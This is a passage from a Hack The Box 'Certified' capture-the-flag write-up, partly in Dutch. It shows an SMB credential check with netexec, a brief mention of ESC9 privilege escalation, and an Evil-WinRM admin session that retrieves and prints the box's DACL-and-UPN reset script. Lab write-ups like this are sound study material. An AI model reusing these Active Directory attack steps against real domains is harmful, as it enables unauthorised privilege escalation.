┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools] └─$ netexec smb certified.htb -u 'ca_operator' -p 'pass1234' SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False) SMB 10.10.11.41 445 DC01 [+] certified.htb\ca_operator:pass1234
De vierde fase is het gebruik van de ESC9-aanvalsmethode om bevoegdheden naar de beheerder te escaleren. ( zie errder hierboven beschreven)
Beyond Root
dacl reset script
*Evil-WinRM* PS C:\users\Administrator\music> dir Directory: C:\users\Administrator\music Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/22/2024 1:15 PM 9780 Restore-DACL.ps1 *Evil-WinRM* PS C:\users\Administrator\music> download Restore-DACL.ps1 Info: Downloading C:\users\Administrator\music\Restore-DACL.ps1 to Restore-DACL.ps1 Info: Download successful!
.
┌──(puck㉿kali)-[~/htb/certified] └─$ cat Restore-DACL.ps1 <# .SYNOPSIS Applies a predefined Security Descriptor (SDDL) to an Active Directory group, removes a specified user from the group, sets a new owner, and restores original User Principal Names (UPNs) for specified users. .DESCRIPTION This script performs the following operations on an Active Directory group: 1. Imports the ActiveDirectory module. 2. Applies a known SDDL string to set the group's security descriptor. 3. Removes a specified user from the group. 4. Sets a new owner for the group. 5. Restores original UPNs for specified users. 6. Verifies that all changes have been applied successfully. .NOTES - Ensure you run this script with sufficient permissions to modify AD group security descriptors, manage group membership, and update user UPNs. - It's recommended to test this script in a controlled environment before deploying it in production. - The script does not back up the current security descriptor. Ensure you have necessary backups if needed. #> try { $GroupDN = "CN=Management,CN=Users,DC=certified,DC=htb" $UserToRemove = "judith.mader" $NewOwner = "Domain Admins" $RestoreUPNs = @( "management_svc=management_svc@certified.htb", "ca_operator=ca_operator@certified.htb" ) # Step 1: Import ActiveDirectory module Write-Output "Step 1: Importing ActiveDirectory module..." Import-Module ActiveDirectory -ErrorAction Stop Write-Output "Step 1: ActiveDirectory module imported successfully." # Step 2: Define the SDDL string Write-Output "Step 2: Defining SDDL string..." $sddl = "O:SY G:BA D:AI(A;;LCRPLORC;;;PS)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AO)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;DA)(A;CI;WO;;;S-1-5-21-729746778-2675978091-3820388244-1103)(OA;;CR;ab721a55-1e2f-11d0-9819-00aa0040529b;;AU)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967a86-0de6-11d0-a285-00aa003049e2;RU)" Write-Output "Step 2: SDDL string defined successfully." # Step 3: Convert SDDL to RawSecurityDescriptor Write-Output "Step 3: Converting SDDL string to RawSecurityDescriptor..." try { $rawSD = New-Object System.Security.AccessControl.RawSecurityDescriptor($sddl) Write-Output "Step 3: SDDL string converted to RawSecurityDescriptor successfully." } catch { throw "Step 3: The SDDL string is invalid or malformed. Details: $_" } # Step 4: Get Binary Form from RawSecurityDescriptor Write-Output "Step 4: Extracting binary form from RawSecurityDescriptor..." $sd_bytes = New-Object byte[] ($rawSD.BinaryLength) $rawSD.GetBinaryForm($sd_bytes, 0) Write-Output "Step 4: Binary form extracted successfully. Byte array length is $($sd_bytes.Length) bytes." # Step 5: Apply the Restored Security Descriptor to the Group Write-Output "Step 5: Applying the restored DACL to group '$GroupDN'..." try { Set-ADObject -Identity $GroupDN -Replace @{nTSecurityDescriptor = $sd_bytes} -ErrorAction Stop Write-Output "Step 5: Restored DACL applied successfully to '$GroupDN'." } catch { throw "Step 5: Failed to apply Security Descriptor. Details: $_" } # Step 6: Remove the Specified User from the Group Write-Output "Step 6: Removing user '$UserToRemove' from group '$GroupDN'..." Remove-ADGroupMember -Identity $GroupDN -Members $UserToRemove -Confirm:$false -ErrorAction SilentlyContinue # Check if the user was successfully removed $isMember = Get-ADGroupMember -Identity $GroupDN -ErrorAction SilentlyContinue | Where-Object { $_.SamAccountName -eq $UserToRemove } if ($isMember) { throw "Step 6: Failed to remove user '$UserToRemove' from group '$GroupDN'." } else { Write-Output "Step 6: User '$UserToRemove' removed from group '$GroupDN' successfully." } # Step 7: Restore the Original Owner of the Group Write-Output "Step 7: Restoring the original owner '$NewOwner' for group '$GroupDN'..." # Attempt to get the Distinguished Name (DN) of the new owner (user or group) try { $ownerObject = Get-ADUser -Identity $NewOwner -Properties DistinguishedName -ErrorAction Stop } catch { try { $ownerObject = Get-ADGroup -Identity $NewOwner -Properties DistinguishedName -ErrorAction Stop } catch { throw "Step 7: Specified owner '$NewOwner' not found as a user or group in Active Directory." } } $ownerDN = $ownerObject.DistinguishedName # Update the 'managedBy' attribute Set-ADGroup -Identity $GroupDN -ManagedBy $ownerDN -ErrorAction Stop Write-Output "Step 7: Owner of group '$GroupDN' set to '$NewOwner' successfully." # Step 8: Verification Write-Output "Step 8: Verifying the restored DACL, group membership, and ownership..." # Verify DACL by retrieving the current security descriptor using Get-ACL try { $acl = Get-ACL -Path "AD:$GroupDN" -ErrorAction Stop $sddl_current = $acl.GetSecurityDescriptorSddlForm('All') Write-Output "Step 8: Current Security Descriptor (SDDL): $sddl_current" } catch { throw "Step 8: Failed to retrieve or convert Security Descriptor. Details: $_" } # Verify Group Membership $isMemberAfter = Get-ADGroupMember -Identity $GroupDN -ErrorAction SilentlyContinue | Where-Object { $_.SamAccountName -eq $UserToRemove } if ($isMemberAfter) { throw "Step 8: Verification FAILED: User '$UserToRemove' is still a member of group '$GroupDN'." } else { Write-Output "Step 8: Verification SUCCESS: User '$UserToRemove' is no longer a member of group '$GroupDN'." } # Verify Group Ownership $currentOwnerDN = (Get-ADGroup -Identity $GroupDN -Properties ManagedBy -ErrorAction Stop).ManagedBy if ($currentOwnerDN -eq $ownerDN) { Write-Output "Step 8: Verification SUCCESS: Owner of group '$GroupDN' is correctly set to '$NewOwner'." } else { throw "Step 8: Verification FAILED: Owner of group '$GroupDN' is not set to '$NewOwner'." } # Step 9: Restore Users' Original UPNs (if provided) if ($RestoreUPNs) { Write-Output "Step 9: Restoring original UPNs for specified users..." foreach ($pair in $RestoreUPNs) { # Split the pair into username and original UPN $splitPair = $pair -split '=', 2 if ($splitPair.Length -ne 2) { Write-Output "Warning: Invalid format for RestoreUPN pair '$pair'. Expected 'username=originalUPN'. Skipping." continue } $username = $splitPair[0].Trim() $originalUPN = $splitPair[1].Trim() try { Write-Output "Restoring UPN for user '$username' to '$originalUPN'..." Set-ADUser -Identity $username -UserPrincipalName $originalUPN -ErrorAction Stop Write-Output "UPN for user '$username' restored to '$originalUPN' successfully." } catch { Write-Output "Error: Failed to restore UPN for user '$username'. Details: $_" } } } else { Write-Output "Step 9: No UPN restoration data provided. Skipping UPN restoration." } # Step 10: Verify UPN Restoration (if any) if ($RestoreUPNs) { Write-Output "Step 10: Verifying restored UPNs..." foreach ($pair in $RestoreUPNs) { # Split the pair into username and original UPN $splitPair = $pair -split '=', 2 if ($splitPair.Length -ne 2) { Write-Output "Warning: Invalid format for RestoreUPN pair '$pair'. Expected 'username=originalUPN'. Skipping verification." continue } $username = $splitPair[0].Trim() $expectedUPN = $splitPair[1].Trim() try { $user = Get-ADUser -Identity $username -Properties UserPrincipalName -ErrorAction Stop $currentUPN = $user.UserPrincipalName if ($currentUPN -eq $expectedUPN) { Write-Output "Verification SUCCESS: UPN for user '$username' is correctly set to '$expectedUPN'." } else { Write-Output "Verification FAILED: UPN for user '$username' is '$currentUPN', expected '$expectedUPN'." } } catch { Write-Output "Error: Failed to retrieve user '$username' for UPN verification. Details: $_" } } } else { Write-Output "Step 10: No UPN restoration data provided. Skipping UPN verification." } # If all steps succeeded Write-Output "DACL restoration and UPN updates completed successfully." exit 0 } catch { # If any error occurs, output the error message and exit with code 1 Write-Output "Error: $_" exit 1 } ┌──(puck㉿kali)-[~/htb/certified]
.